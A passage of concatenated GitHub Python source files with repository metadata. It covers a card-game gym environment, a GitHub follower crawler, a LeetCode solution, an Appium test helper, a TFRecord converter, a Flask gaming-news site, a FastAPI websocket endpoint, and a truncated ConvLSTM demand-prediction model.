ist!\n        if not hasColor:\n            options = [] # necessary otherwise joker double!\n            for i, card in enumerate(cards):\n                options.append(i)\n            if incolor is not None: # no do not check for joker here!\n                self.players[player].setColorFree(incolor)\n        if orderOptions: return sorted(options, key = lambda x: ( x[1].color,  x[1].value))\n        return options\n\n\n    def hasJoker(self, cards):\n        for i in [\"Y\", \"R\", \"G\", \"B\"]:\n            if super().hasSpecificCard(15, i, cards):\n                return True\n        return False\n\n    def hasYellowEleven(self, cards):\n        return self.hasSpecificCard(11, \"Y\", cards)\n\n    def hasRedEleven(self, cards):\n        return self.hasSpecificCard(11, \"R\", cards)\n\n    def hasBlueEleven(self, cards):\n        return self.hasSpecificCard(11, \"B\", cards)\n\n\n    def countResult(self, input_cards, offhandCards):\n        #input_cards = [[card1, card2, card3, card4], [stich2], ...]\n        # in class player\n        # get the current Reward (Evaluate offhand cards!)\n        negative_result = 0\n        # input_cards = self.offhand\n        for stich in input_cards:\n            for card in stich:\n                if card is not None:\n                    if card.color == \"R\" and card.value <15 and card.value!=11 and not self.hasRedEleven(offhandCards):\n                        negative_result -=1\n                    if card.color == \"R\" and card.value <15 and card.value!=11 and self.hasRedEleven(offhandCards):\n                        negative_result -=1*2\n                    if not self.hasBlueEleven(offhandCards):\n                        if card.color == \"G\" and card.value == 11:\n                            negative_result -= 5\n                        if card.color == \"G\" and card.value == 12:\n                            negative_result -= 10\n                    if card.color == \"Y\" and card.value == 11:\n                        negative_result+=5\n        return negative_result\n\n    def getBinaryOptions(self, player, nu_players, nu_cards):\n        #returns 0....1... x1 array BGRY 0...15 sorted\n        options_list = [0]*nu_players*nu_cards\n        cards        = self.getValidOptions(player)\n        unique_idx   = self.cards2Idx(cards)\n        for idx in unique_idx:\n            options_list[idx] = 1\n        return options_list\n\n\n\n#### custom\n#### custom functions very game type specific functions\n#### custom\n    def shiftCard(self, card_idx, current_player, next_player):\n        # shift round = 0, 1, ... (for 2 shifted cards)\n        #print(\"I shift now hand idx\", card_idx, \"from\", self.players[current_player].name, \"to\", self.players[next_player].name)\n        card = self.players[current_player].hand.pop(card_idx) # wenn eine Karte weniger index veringern!\n        self.players[next_player].take_hand.append(card)\n\n\n    def getShiftPlayer(self):\n        # works FOR 4 Players only!\n        if self.shift_option==0:\n            return self.getNextPlayer_()\n        elif self.shift_option==1:\n            return self.getPreviousPlayer(self.active_player)\n        elif self.shift_option==2: # opposide\n            return self.getPreviousPlayer(self.getPreviousPlayer(self.active_player))\n        else:\n            print(\"ERROR!!!! TO BE IMPLEMENTED!\")\n            raise\n\n    def getShiftOptions(self):\n        # Return all options to shift 2 not unique card idx.\n        # returns:  [[0, 1], [0, 2], [0, 3], [0, 4], [0, 5], [0, 6], [0, 7], [0, 8], [0, 9], [0, 10], [0, 11], [0, 12], [0, 13], [0, 14], [1, 2], [1\n        n   = len(self.players[self.active_player].hand)\n        i   = 0\n        options = []\n        for j in range(0, n-1):\n            tmp = i\n            while tmp<n-1:\n                options.append([j, tmp+1])\n                tmp +=1\n            i = i+1\n        return options\n","repo_name":"CesMak/gyms","sub_path":"gym-witches-multiv2/gym_witches_multiv2/envs/witches.py","file_name":"witches.py","file_ext":"py","file_size_in_byte":17978,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"}
{"seq_id":"35999953411","text":"import os\nimport time\nimport requests\nfrom bs4 import BeautifulSoup\n\npage_range = [129, 159]\nlimit_cache_num = 25\n\nlist_collect = []\nsave_idx = 0\nwhile page_range[0] < page_range[1]:\n\ttry:\n\t\tpage = page_range[0]\n\t\tpage_link = 'https://github.com/programthink?page=%d&tab=followers' % page\n\t\tprint(page_link)\n\t\tr = requests.get(page_link)\n\t\tsoup = BeautifulSoup(r.text, 'html.parser')\n\t\tresults = soup.find_all(\"span\", \"link-gray pl-1\")\n\t\tfor idx, res in enumerate(results):\n\t\t\tif idx < save_idx:\n\t\t\t\tcontinue\n\t\t\tsave_idx = idx\n\t\t\tuser = res.string\n\t\t\tprint('page: %s, user: %s' % (page,user))\n\t\t\tuser_link = 'https://github.com/' + str(user)\n\t\t\tr = requests.get(user_link)\n\t\t\tso = BeautifulSoup(r.text, 'html.parser')\n\t\t\tlinks = so.find_all('a', \"u-url\")\n\t\t\tfor l in links:\n\t\t\t\tlink = links[0].string\n\t\t\t\tlist_collect.append(str(link) + '#' + str(user_link))\n\t\t\t\tprint(list_collect)\n\t\t\t\tprint(len(list_collect))\n\t\t\t\tif len(list_collect) > limit_cache_num:\n\t\t\t\t\traise Exception('overpage')\n\t\tpage_range[0] += 1\n\t\tsave_idx = 0\n\texcept (Exception, KeyboardInterrupt):\n\t\tprint('Ctrl-C interrupt, enter to continue ...')\n\t\tinp = input()\n\t\tif inp == 'quit':\n\t\t\tquit();\n\t\telif inp == 'open':\n\t\t\ttot = len(list_collect)\n\t\t\tfor idx, link in enumerate(list_collect):\n\t\t\t\tprint(\"[%d / %d]\" % (idx, tot))\n\t\t\t\tos.system('chromium ' + link)\n\t\t\t\ttime.sleep(1)\n\t\t\tlist_collect = []\n\t\telse:\n\t\t\tprint('starting from ' + str(save_idx))\n\t\t\tcontinue\n\ntot = len(list_collect)\nfor idx, link in enumerate(list_collect):\n\tprint(\"[%d / %d]\" % (idx, tot))\n\tos.system('chromium ' + link)\n\ttime.sleep(1)\n","repo_name":"w32zhong/github-crawler","sub_path":"follower.py","file_name":"follower.py","file_ext":"py","file_size_in_byte":1575,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"73142260271","text":"class Solution:\n    def operation(self,arr):\n        newArr = arr.copy()\n        newArr.append(1)\n        for i in range(len(arr)):\n            arr[i] = (1-arr[i])\n        \n        arr.reverse()\n        newArr.extend(arr)\n        return newArr\n\n    def find(self,k,arr):\n        if k <= len(arr):\n            return arr[k-1]\n\n        n = len(arr)\n        newArr = self.operation(arr)\n        return self.find(k,newArr)\n\n    def findKthBit(self, n: int, k: int) -> str:\n        return str(self.find(k,[0]))\n","repo_name":"Dagm-M/A2SV","sub_path":"FindKthBitInNthBinaryString.py","file_name":"FindKthBitInNthBinaryString.py","file_ext":"py","file_size_in_byte":506,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"27548893545","text":"from selenium.webdriver.common.by import By\nfrom selenium.webdriver.support.wait import WebDriverWait\n\n\nclass BaseAction:\n\n    def __init__(self, driver):\n        self.driver = driver\n\n    def click(self, loc):\n        self.find_element(loc).click()\n\n    def input_text(self, loc, text):\n        self.find_element(loc).send_keys(text)\n\n    def find_element(self, loc, timeout=5.0, poll=1.0):\n        by = loc[0]\n        value = loc[1]  # \"text,0\"\n        if by == By.XPATH:\n            value = self.make_xpath_with_feature(value) # //*\n            print(value)\n        return WebDriverWait(self.driver, timeout, poll).until(lambda x: x.find_element(by, value))\n\n    def find_elements(self, loc, timeout=5.0, poll=1.0):\n        by = loc[0]\n        value = loc[1]\n        if by == By.XPATH:\n            value = self.make_xpath_with_feature(value) # //*\n        return WebDriverWait(self.driver, timeout, poll).until(lambda x: x.find_elements(by, value))\n\n    def make_xpath_with_unit_feature(self, loc):\n        \"\"\"\n        拼接xpath中间的部分\n        :param loc:\n        :return:\n        \"\"\"\n        key_index = 0\n        value_index = 1\n        option_index = 2\n\n        args = loc.split(\",\")\n        feature = \"\"\n\n        if len(args) == 2:\n            feature = \"contains(@\" + args[key_index] + \",'\" + args[value_index] + \"')\" + \"and \"\n        elif len(args) == 3:\n            if args[option_index] == \"1\":\n                feature = \"@\" + args[key_index] + \"='\" + args[value_index] + \"'\" + \"and \"\n            elif args[option_index] == \"0\":\n                feature = \"contains(@\" + args[key_index] + \",'\" + args[value_index] + \"')\" + \"and \"\n\n        return feature\n\n    def make_xpath_with_feature(self, loc):\n        feature_start = \"//*[\"\n        feature_end = \"]\"\n        feature = \"\"\n\n        if isinstance(loc, str):\n            # 如果是正常的xpath\n            if loc.startswith(\"//\"):\n                return loc\n\n            # loc str\n            feature = self.make_xpath_with_unit_feature(loc)\n        else:\n            # loc 列表\n            for i in loc:\n                feature += self.make_xpath_with_unit_feature(i)\n\n        feature = feature.rstrip(\"and \")\n\n        loc = feature_start + feature + feature_end\n\n        return loc\n\n    def find_toast(self, message, is_screenshot=False, screenshot_name=None, timeout=3, poll=0.1):\n        \"\"\"\n        # message: 预期要获取的toast的部分消息\n        \"\"\"\n        message = \"//*[contains(@text,'\" + message + \"')]\"  # 使用包含的方式定位\n        element = self.find_element((By.XPATH, message), timeout, poll)\n        if is_screenshot:\n            self.screenshot(screenshot_name)\n\n        return element.text\n\n    def is_toast_exist(self, message, is_screenshot=False, screenshot_name=None, timeout=3, poll=0.1):\n        try:\n            self.find_toast(message, is_screenshot, screenshot_name, timeout, poll)\n            return True\n        except Exception:\n            return False\n\n    def screenshot(self, file_name):\n        self.driver.get_screenshot_as_file(\"./screen/\" + file_name + \".png\")","repo_name":"hitheima/tpshop","sub_path":"base/base_action.py","file_name":"base_action.py","file_ext":"py","file_size_in_byte":3095,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"}
{"seq_id":"7233157966","text":"import tensorflow as tf\nfrom io import BytesIO\nfrom PIL import Image\nimport os\nimport io\nimport PIL\nimport hashlib\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport cv2\n\n\ndef int64_feature(value):\n    return tf.train.Feature(int64_list=tf.train.Int64List(value=[value]))\n\ndef int64_list_feature( value):\n    return tf.train.Feature(int64_list=tf.train.Int64List(value=value))\n\ndef bytes_feature(value):\n    return tf.train.Feature(bytes_list=tf.train.BytesList(value=[value]))\n\ndef bytes_list_feature(value):\n    return tf.train.Feature(bytes_list=tf.train.BytesList(value=value))\n\ndef float_list_feature( value):\n    return tf.train.Feature(float_list=tf.train.FloatList(value=value))\n\ndef read_examples_list(path):\n    \"\"\"Read list of training or validation examples.\n\n    The file is assumed to contain a single example per line where the first\n    token in the line is an identifier that allows us to find the image and\n    annotation xml for that example.\n\n    For example, the line:\n    xyz 3\n    would allow us to find files xyz.jpg and xyz.xml (the 3 would be ignored).\n\n    Args:\n    path: absolute path to examples list file.\n\n    Returns:\n    list of example identifiers (strings).\n    \"\"\"\n    with tf.io.gfile.GFile(path) as fid:\n        lines = fid.readlines()\n    return [line.strip().split(' ')[0] for line in lines]\n\ndef recursive_parse_xml_to_dict(xml):\n    \"\"\"\n    Recursively parses XML contents to python dict.\n    We assume that `object` tags are the only ones that can appear\n    multiple times at the same level of a tree.\n    Args:\n    xml: xml tree obtained by parsing XML file contents using lxml.etree\n    Returns:\n    Python dictionary holding XML contents.\n    \"\"\"\n    if not xml:\n        return {xml.tag: xml.text}\n    result = {}\n    for child in xml:\n        child_result = recursive_parse_xml_to_dict(child)\n        if child.tag != 'object':\n            result[child.tag] = child_result[child.tag]\n        else:\n            if child.tag not in result:\n                result[child.tag] = []\n            result[child.tag].append(child_result[child.tag])\n    return {xml.tag: result}\n\ndef _bytes_feature(value):\n    return tf.train.Feature(bytes_list=tf.train.BytesList(value=[value]))\n\n\nclass TFConverter(object):\n    def __init__(self, object_list, annotation_path, image_path):\n        self.object_list = object_list  # 0 is background\n        self.annotation_path = annotation_path\n        self.image_path = image_path\n        self.annotations = [f for f in os.listdir(annotation_path) if f.endswith(\".npy\")]\n        self.images = [i for i in os.listdir(image_path) if (i.endswith(\"png\") or i.endswith(\"jpg\"))]\n\n    def convert(self, gray_scale=False, output_path=\".\"):\n        writer = tf.io.TFRecordWriter(output_path + \"/tf.record\")\n        for image in self.images:\n            annotation = image.split(\".\")[0] + \".npy\"\n            if annotation not in self.annotations:\n                print(\"No annotation file: Ignore \"+image)\n                continue\n            else:\n                annotation_file = os.path.join(self.annotation_path, annotation)\n                image_file = os.path.join(self.image_path, image)\n                masks = np.load(annotation_file)\n                if masks.max()  < 1:\n                    continue\n                else:\n                    tf_example = self._getTFExample(annotation_file, image_file, gray_scale)\n                    writer.write(tf_example.SerializeToString())\n        writer.close()\n\n\n\n    def _getTFExample(self, annotation_file_path, image_file_path, gray_scale):\n        if not gray_scale:\n            fid = tf.io.gfile.GFile(image_file_path, 'rb')  # tensorflow 2.0\n            encoded_jpg = fid.read()\n            encoded_jpg_io = io.BytesIO(encoded_jpg)\n            image = PIL.Image.open(encoded_jpg_io)\n        else:\n            gray_image = cv2.imread(image_file_path, cv2.IMREAD_GRAYSCALE)\n            image = Image.fromarray(gray_image)\n            encoded_jpg_io = BytesIO()\n            image.save(encoded_jpg_io, 'JPEG')\n            encoded_jpg = encoded_jpg_io.getvalue()\n            encoded_jpg_io = io.BytesIO(encoded_jpg)\n            image = PIL.Image.open(encoded_jpg_io)\n\n        if image.format != 'JPEG':\n            raise ValueError('Image format not JPEG')\n        key = hashlib.sha256(encoded_jpg).hexdigest()\n\n        width = image.width\n        height = image.height\n        masks = np.load(annotation_file_path)\n        masks = np.swapaxes(masks, axis1=0, axis2=1)\n        masks = np.swapaxes(masks, axis1=1, axis2=2)\n        masks = (masks > 0.5) * 255\n        if len(masks.shape) == 2:\n            masks = np.expand_dims(masks, 2)\n        obj_nm = masks.shape[-1]\n        masks = (masks/255.0).astype(np.uint8)\n\n        xmin = []\n        ymin = []\n        xmax = []\n        ymax = []\n        classes = []\n        classes_text = []\n        masks_PNG = []\n        masks_list = []\n\n        for i in range(obj_nm):\n            mask = masks[:, :, i]\n            if mask.max() < 1:\n                continue\n            masks_list.append(mask.tostring())\n            bbox = self._getBBox(mask)\n            xmin.append(float(bbox[0]) / width)\n            ymin.append(float(bbox[2]) / height)\n            xmax.append(float(bbox[1]) / width)\n            ymax.append(float(bbox[3]) / height)\n            id = int(mask.max())\n            classes.append(id)\n            classes_text.append(self.object_list[id-1])\n            masks_PNG.append(self._image2PNGString(mask))\n\n        example = tf.train.Example(features=tf.train.Features(feature={\n            'image/height': int64_feature(height),\n            'image/width': int64_feature(width),\n            'image/filename': bytes_feature(image_file_path.encode('utf8')),  #\n            'image/source_id': bytes_feature(image_file_path.encode('utf8')),  #\n            'image/encoded': bytes_feature(encoded_jpg),\n            'image/format': bytes_feature('jpeg'.encode('utf8')),\n            'image/object/bbox/xmin': float_list_feature(xmin),\n            'image/object/bbox/xmax': float_list_feature(xmax),\n            'image/object/bbox/ymin': float_list_feature(ymin),\n            'image/object/bbox/ymax': float_list_feature(ymax),\n            'image/object/class/text': bytes_list_feature(classes_text),\n            'image/object/class/label': int64_list_feature(classes),\n            'image/object/mask': bytes_list_feature(masks_PNG)\n            }))\n        return example\n\n    def _image2PNGString(self, image):\n        image = Image.fromarray(image)\n        byte_io = BytesIO()\n        image.save(byte_io, 'PNG')\n        return byte_io.getvalue()\n\n    def _getBBox(self, mask):\n        rows = np.any(mask, axis=1)\n        cols = np.any(mask, axis=0)\n        rmin, rmax = np.where(rows)[0][[0, -1]]\n        cmin, cmax = np.where(cols)[0][[0, -1]]\n\n        #xmin, xmax, ymin, ymax = rmin, rmax, cmin, cmax  # the bounding box is transposed\n        ymin, ymax, xmin, xmax = rmin, rmax, cmin, cmax\n\n        return xmin, xmax, ymin, ymax\n\n\nif __name__ == \"__main__\":\n    tfrecorder = TFConverter(['crater'], \"./npy\", \"./moon_images\")\n    tfrecorder.convert(gray_scale=True)\n\n","repo_name":"DREAMS-lab/data_augmentor","sub_path":"TFRecorder.py","file_name":"TFRecorder.py","file_ext":"py","file_size_in_byte":7146,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"38"}
{"seq_id":"33693125236","text":"import datetime\nimport os\nfrom werkzeug.utils import secure_filename\n\nfrom flask import Flask, render_template, redirect, request, url_for\nimport flask_login\n\nfrom data import db_session\nfrom data.users import User\nfrom data.add_news import AddNews\nfrom forms.loginform import LoginForm\nfrom forms.settingsform import SettingsForm\nfrom flask_login import LoginManager, login_user, login_required, logout_user\nfrom forms.user import RegisterForm\nfrom forms.add_newsform import AddNewsForm\nfrom data.comments import Comment\nfrom forms.add_comment import AddComment\nfrom forms.add_news_random_game import AddNewsRandomGame\n\n\n# Создать программу\napp = Flask(__name__)\napp.config['SECRET_KEY'] = 'yandexlyceum_secret_key'\n\nlogin_manager = LoginManager()\nlogin_manager.init_app(app)\n\n# Создание пути\nuploads_dir = os.path.join('', 'static/img')\n\n\n# Главная страница\n@app.route('/')\ndef main():\n    db_sess = db_session.create_session()\n    # Получение всех новостей\n    news_list = db_sess.query(AddNews).all()\n    return render_template('news.html', title='GameWiki', news_list=news_list[::-1])\n\n\n# Форма входа в пользователя\n@app.route('/login', methods=['GET', 'POST'])\ndef login():\n    form = LoginForm()\n    if form.validate_on_submit():\n        db_sess = db_session.create_session()\n\n        # Получение пользователя из БД по эл почте\n        user = db_sess.query(User).filter(User.email == form.email.data).first()\n        # Если пользователь найден и пароли совпадают\n        if user and user.check_password(form.password.data):\n            login_user(user, remember=form.remember_me.data)\n            return redirect(\"/\")\n        return render_template('login.html',\n                               message=\"Неправильный логин или пароль\",\n                               form=form)\n    return render_template('login.html', title='Авторизация', form=form)\n\n\n# Форма регистрации пользователя\n@app.route('/register', methods=['GET', 'POST'])\ndef reqister():\n    form = RegisterForm()\n    if form.validate_on_submit():\n        # Если пароли не совпадают\n        if form.password.data != form.password_again.data:\n            return render_template('register.html', title='Регистрация',\n                                   form=form,\n                                   message=\"Пароли не совпадают\")\n        db_sess = db_session.create_session()\n\n        # Если пользователь уже заргеистрирован\n        if db_sess.query(User).filter(User.email == form.email.data).first():\n            return render_template('register.html', title='Регистрация',\n                                   form=form,\n                                   message=\"Такой пользователь уже есть\")\n        user = User(\n            name=form.name.data,\n            email=form.email.data,\n            about=form.about.data\n        )\n        user.set_password(form.password.data)\n        db_sess.add(user)\n        db_sess.commit()\n        return redirect('/login')\n    return render_template('register.html', title='Регистрация', form=form)\n\n\n# Функция загрузки пользователя\n@login_manager.user_loader\ndef load_user(user_id):\n    db_sess = db_session.create_session()\n    return db_sess.query(User).get(user_id)\n\n\n# Профиль пользователя\n@app.route('/user/<int:id>', methods=['GET', 'POST'])\ndef profile(id):\n    db_sess = db_session.create_session()\n    user = db_sess.query(User).filter(User.id == id).first()\n    return render_template('profile.html', title='Профиль', user=user)\n\n\n# Настройки пользователя\n@app.route('/profile_settings/<int:user_id>', methods=['GET', 'POST'])\ndef profile_settings(user_id):\n    form = SettingsForm()\n    db_sess = db_session.create_session()\n    user = db_sess.query(User).filter(User.id == user_id).first()\n\n    if request.method == 'POST':\n        if request.files['profile']:\n            # Загрузка фотографии\n            profile = request.files['profile']\n            profile.save(os.path.join(uploads_dir, secure_filename(profile.filename)))\n            for file in request.files.getlist('charts'):\n                file.save(os.path.join(uploads_dir, secure_filename(file.name)))\n\n            # Изменение данных пользователя\n        if user and user.check_password(form.password.data):\n            login_user(user)\n            user.age = form.age.data\n            user.address = form.address.data\n            user.about = form.about.data\n\n            # Если фотография загружена\n            if request.files['profile']:\n                user.profile_image = f'../static/img/{profile.filename}'\n\n            db_sess.commit()\n            return redirect(\"/\")\n        return render_template('profile_settings.html',\n                               message=\"Неправильный логин или пароль\",\n                               form=form)\n\n    # Автозаполнение формы\n    form.age.data = user.age\n    form.about.data = user.about\n    form.email.data = user.email\n    form.address.data = user.address\n\n    return render_template('profile_settings.html', title='Настройки профиля', form=form)\n\n\n# Страница по новостям доты 2\n@app.route('/dota2')\ndef dota_news():\n    db_sess = db_session.create_session()\n    # Получение всех новостей по доте 2\n    news_list = db_sess.query(AddNews).filter(AddNews.game == 'dota').all()\n    return render_template('dota2.html', title='Dota 2', news_list=news_list[::-1])\n\n\n# Страница для добавления новостей по доте 2\n@app.route('/add_news_dota', methods=['GET', 'POST'])\ndef add_news_dota():\n    form = AddNewsForm()\n    if request.method == 'POST':\n        # Загрузка фотографии\n        if request.files['profile']:\n            profile = request.files['profile']\n            profile.save(os.path.join(uploads_dir, secure_filename(profile.filename)))\n            for file in request.files.getlist('charts'):\n                file.save(os.path.join(uploads_dir, secure_filename(file.name)))\n\n            # Добавление новости по данным с формы\n            db_sess = db_session.create_session()\n            add_new = AddNews()\n            add_new.header = form.header.data\n            add_new.description = form.description.data\n            add_new.game = 'dota'\n            add_new.date = datetime.datetime.now().strftime('%d %b %Y')\n            add_new.image = f'../static/img/{profile.filename}'\n            db_sess.add(add_new)\n            db_sess.commit()\n\n            return redirect(\"/dota2\")\n        else:\n            return render_template('add_news.html', title='Добавление новости', form=form,\n                                   message='Добавьте картинку!')\n\n    return render_template('add_news.html', title='Добавление новости', form=form)\n\n\n# Страница по новостям кс го\n@app.route('/cs')\ndef cs_news():\n    db_sess = db_session.create_session()\n    # Получение всех новостей по кс го\n    news_list = db_sess.query(AddNews).filter(AddNews.game == 'cs').all()\n    return render_template('cs.html', title='CS:GO', news_list=news_list[::-1])\n\n\n# Страница для добавления новостей по доте 2\n@app.route('/add_news_cs', methods=['GET', 'POST'])\ndef add_news_cs():\n    form = AddNewsForm()\n    if request.method == 'POST':\n        # Загрузка фотографии\n        if request.files['profile']:\n            profile = request.files['profile']\n            profile.save(os.path.join(uploads_dir, secure_filename(profile.filename)))\n            for file in request.files.getlist('charts'):\n                file.save(os.path.join(uploads_dir, secure_filename(file.name)))\n\n        # Добавление новости по данным с формы\n        db_sess = db_session.create_session()\n        add_new = AddNews()\n        add_new.header = form.header.data\n        add_new.description = form.description.data\n        add_new.game = 'cs'\n        add_new.date = datetime.datetime.now().strftime('%d %b %Y')\n        add_new.image = f'../static/img/{profile.filename}'\n        db_sess.add(add_new)\n        db_sess.commit()\n\n        return redirect(\"/cs\")\n    return render_template('add_news.html', title='Добавление новости', form=form)\n\n\n# страница выхода из профиля\n@app.route('/logout')\n@login_required\ndef logout():\n    logout_user()\n    return redirect('/')\n\n\n# Страница по кс\n@app.route('/cs_for_new_players')\ndef cs_for_new_players():\n    return render_template('cs_for_new_players.html', title='Кс для новичков')\n\n\n# Страница по кс\n@app.route('/cs_guns')\ndef cs_guns():\n    return render_template('cs_guns.html', title='Оружие в кс')\n\n\n# Страница по кс\n@app.route('/cs_economy')\ndef cs_economy():\n    return render_template('cs_economy.html', title='Экономика в кс')\n\n\n# Страница по доте\n@app.route('/dota_for_new_players')\ndef dota_for_new_players():\n    return render_template('dota_for_new_players.html', title='Дота для новичков')\n\n\n# Страница по доте\n@app.route('/dota_choice')\ndef dota_choice():\n    return render_template('dota_choice.html', title='Дота для новичков')\n\n\n# Страница по доте\n@app.route('/dota_heroes_for_new_players')\ndef dota_heroes_for_new_players():\n    return render_template('dota_heroes_for_new_players.html', title='Дота для новичков')\n\n\n# Страница по доте\n@app.route('/dota_sokrasheniya')\ndef dota_sokrasheniya():\n    return render_template('dota_sokrasheniya.html', title='Сокращения Dota 2')\n\n\n# Страница по кс\n@app.route('/cs_choice')\ndef cs_choice():\n    return render_template('cs_choice.html', title='Кс для новичков')\n\n\n# Страница для новости по id\n@app.route('/news/<int:news_id>', methods=['GET', 'POST'])\ndef news(news_id):\n\n    # Если пользователь не вошел в систему\n    if flask_login.current_user.get_id() is None:\n        return redirect('/register_should')\n\n    form = AddComment()\n    db_sess = db_session.create_session()\n    if request.method == \"POST\":\n        new_comment = Comment()\n        new_comment.id_news = news_id\n        new_comment.id_user = flask_login.current_user.id\n        new_comment.content = form.description.data\n        db_sess.add(new_comment)\n        db_sess.commit()\n        return redirect(f\"/news/{news_id}\")\n\n    news = db_sess.query(AddNews).filter(AddNews.id == news_id).first()\n    comments = db_sess.query(Comment).filter(Comment.id_news == news_id).all()\n    all_users = set()\n\n    for x in comments:\n        users = db_sess.query(User).filter(User.id == x.id_user).all()\n        for el in users:\n            all_users.add(el)\n    all_users = list(all_users)\n    return render_template('one_news.html', title='Новость', news=news, comments=comments[::-1],\n                           users=all_users, form=form)\n\n\n# Страница для оповещения пользователя чтобы тот зарегистрировался\n@app.route('/register_should')\ndef register_should():\n    return render_template('register_should.html', title='Зарегистрируйтесь!')\n\n\n# Добавление новости для любой игры\n@app.route('/add_news_random_game',  methods=['GET', 'POST'])\ndef add_news_random_game():\n    form = AddNewsRandomGame()\n    if request.method == 'POST':\n\n        # Загрузка фотографии для пользователя\n        if request.files['profile']:\n            profile = request.files['profile']\n            profile.save(os.path.join(uploads_dir, secure_filename(profile.filename)))\n            for file in request.files.getlist('charts'):\n                file.save(os.path.join(uploads_dir, secure_filename(file.name)))\n\n        db_sess = db_session.create_session()\n        add_new = AddNews()\n        add_new.header = form.header.data\n        add_new.description = form.description.data\n        add_new.game = form.game.data\n        add_new.date = datetime.datetime.now().strftime('%d %b %Y')\n        add_new.image = f'../static/img/{profile.filename}'\n        db_sess.add(add_new)\n        db_sess.commit()\n\n        return redirect(\"/\")\n    return render_template('add_news_random_game.html', title='Добавление новости', form=form)\n\n\n# Запуск программы\nif __name__ == '__main__':\n    db_session.global_init(\"db/GameWiki.db\")\n    port = int(os.environ.get(\"PORT\", 5000))\n    app.run(host='0.0.0.0', port=port)\n","repo_name":"Nachille1/gamewiki","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":13177,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"72732430831","text":"from datetime import datetime\nfrom fastapi import APIRouter, WebSocket, WebSocketDisconnect\n\n\nrouter = APIRouter(prefix=\"/ws\")\n\n\n@router.websocket(\"/session\")\nasync def websocket_endpoint(websocket: WebSocket):\n    await websocket.accept()\n    start = datetime.now()\n    while True:\n        try:\n            data = await websocket.receive_text()\n            await websocket.send_text(f\"Message text was: {data}\")\n        except WebSocketDisconnect as e:\n            print(f\"connection duration {datetime.now()-start}\")\n            return\n        ","repo_name":"aman-credgenics/cg-adapter","sub_path":"app/ws/session.py","file_name":"session.py","file_ext":"py","file_size_in_byte":546,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"11438973129","text":"import logging\nimport os\n\nimport pandas as pd\n\nfrom demandprediction.prediction.model import BaseModel\nfrom demandprediction.prediction.postprocessing.error_measures import log_grid_error\nfrom demandprediction.prediction.postprocessing.postprocessing import calculate_grid_error\nfrom demandprediction.prediction.preprocessing.preprocessing import DataPreprocessor\nfrom demandprediction.utils.shared_filenames import get_predictions_filename\n\n\nclass ConvLSTMBaseModel(BaseModel):\n    def __init__(self, model_name: str, config: dict):\n        \"\"\"\n        Initializes the ConvLSTM model.\n        Inputs are: Demand and Metainformation\n        The Architecture does use a Hadamard layer\n        :param config: Configuration for the prediction.\n        \"\"\"\n        super().__init__(model_name, config['data_directory'])\n        self.start_date = config['start_date']\n        self.stop_date = config['stop_date']\n        self.number_of_grid_rows = config['number_of_grid_rows']\n        self.number_of_grid_columns = config['number_of_grid_columns']\n        self.lags = config['lags']\n        self.number_of_filters = config['number_of_filters']\n        self.kernel_size = config['kernel_size']\n        self.batch_size = config['batch_size']\n        self.learning_rate = config['learning_rate']\n        self.step_size = config['step_size']\n        self.epochs = config['epochs']\n        self.x_limits = (config['x_min'], config['x_max'])\n        self.y_limits = (config['y_min'], config['y_max'])\n        prediction_relative_path = get_predictions_filename(self.model_name, self.start_time)\n        self.prediction_filepath = os.path.join(self.data_directory, prediction_relative_path)\n        self.number_of_prediction_timesteps = 0\n\n        self.logger = logging.getLogger(__name__)\n\n    def prepare_data(self):\n        super().prepare_data()\n        data_preprocessor = DataPreprocessor(self.data_directory, self.x_limits, self.y_limits)\n        self.ground_truth_filepath = data_preprocessor.generate_window_grid(\n            stop_date=self.stop_date,\n            number_of_rows=self.number_of_grid_rows,\n            number_of_columns=self.number_of_grid_columns,\n            step_size=self.step_size,\n            feature_name='demand'\n        )\n\n        self.number_of_prediction_timesteps = len(\n            DataPreprocessor.get_date_range_between_dates(\n                start_date=self.start_date,\n                end_date=self.stop_date,\n                freq=f'{self.step_size}min',\n                end_inclusive=False\n            )\n        )\n        # set flag\n        self.data_prepared = True\n\n    def save_predictions(self):\n        super().save_predictions()\n        predictions = self.predictions.reshape(self.predictions.shape[0],\n                                               self.number_of_grid_rows * self.number_of_grid_columns)\n        predictions_df = pd.DataFrame(predictions)\n\n        # load actual data for index\n        # noinspection PyTypeChecker\n        actual_data_df = pd.read_hdf(self.ground_truth_filepath, key='even_grid')  # type: pd.DataFrame\n        predictions_df.index = actual_data_df.index[-len(predictions_df.index):]\n        self.logger.debug(predictions_df.index[:10])\n        self.logger.debug(predictions_df.index[-10:])\n\n        predictions_df.to_hdf(self.prediction_filepath, key='predictions', complevel=6)\n        self.logger.info(f\"Predictions saved to file: {self.prediction_filepath}\")\n\n    def score_model(self):\n        \"\"\"\n        Calculate the evaluation metrics (RMSE, MAPE, etc.).\n        Save the metrics and model hyperparams to csv file.\n        \"\"\"\n        super().score_model()\n\n        # Calculate error\n        model_id = \"{}_{date:%Y-%m-%d_%H-%M-%S}.h5\".format(\n            self.model_name, date=self.start_time)\n\n        errors = calculate_grid_error(\n            filepath=self.ground_truth_filepath,\n            prediction_filepath=self.prediction_filepath,\n            number_of_rows=self.number_of_grid_rows,\n            number_of_columns=self.number_of_grid_columns,\n            ceiling=1,\n            logger=self.logger\n        )\n\n        # Write the errors and all hyperparams to a csv file!\n        df = pd.DataFrame({\n            'model_id': [model_id],\n            'model_name': [self.model_name],\n            'avg_grid_rmse_above_ceiling': [errors[0]],\n            'avg_grid_mae_above_ceiling': [errors[1]],\n            'avg_grid_mapec_above_ceiling': [errors[2]],\n            'global_rmse': [errors[3]],\n            'global_mae': [errors[4]],\n            'global_mape': [errors[5]],\n            'number_of_rows': [self.number_of_grid_rows],\n            'number_of_columns': [self.number_of_grid_columns],\n            'lags': [self.lags],\n            'nb_filters': [self.number_of_filters],\n            'k_size': [self.kernel_size],\n            'batch_size': 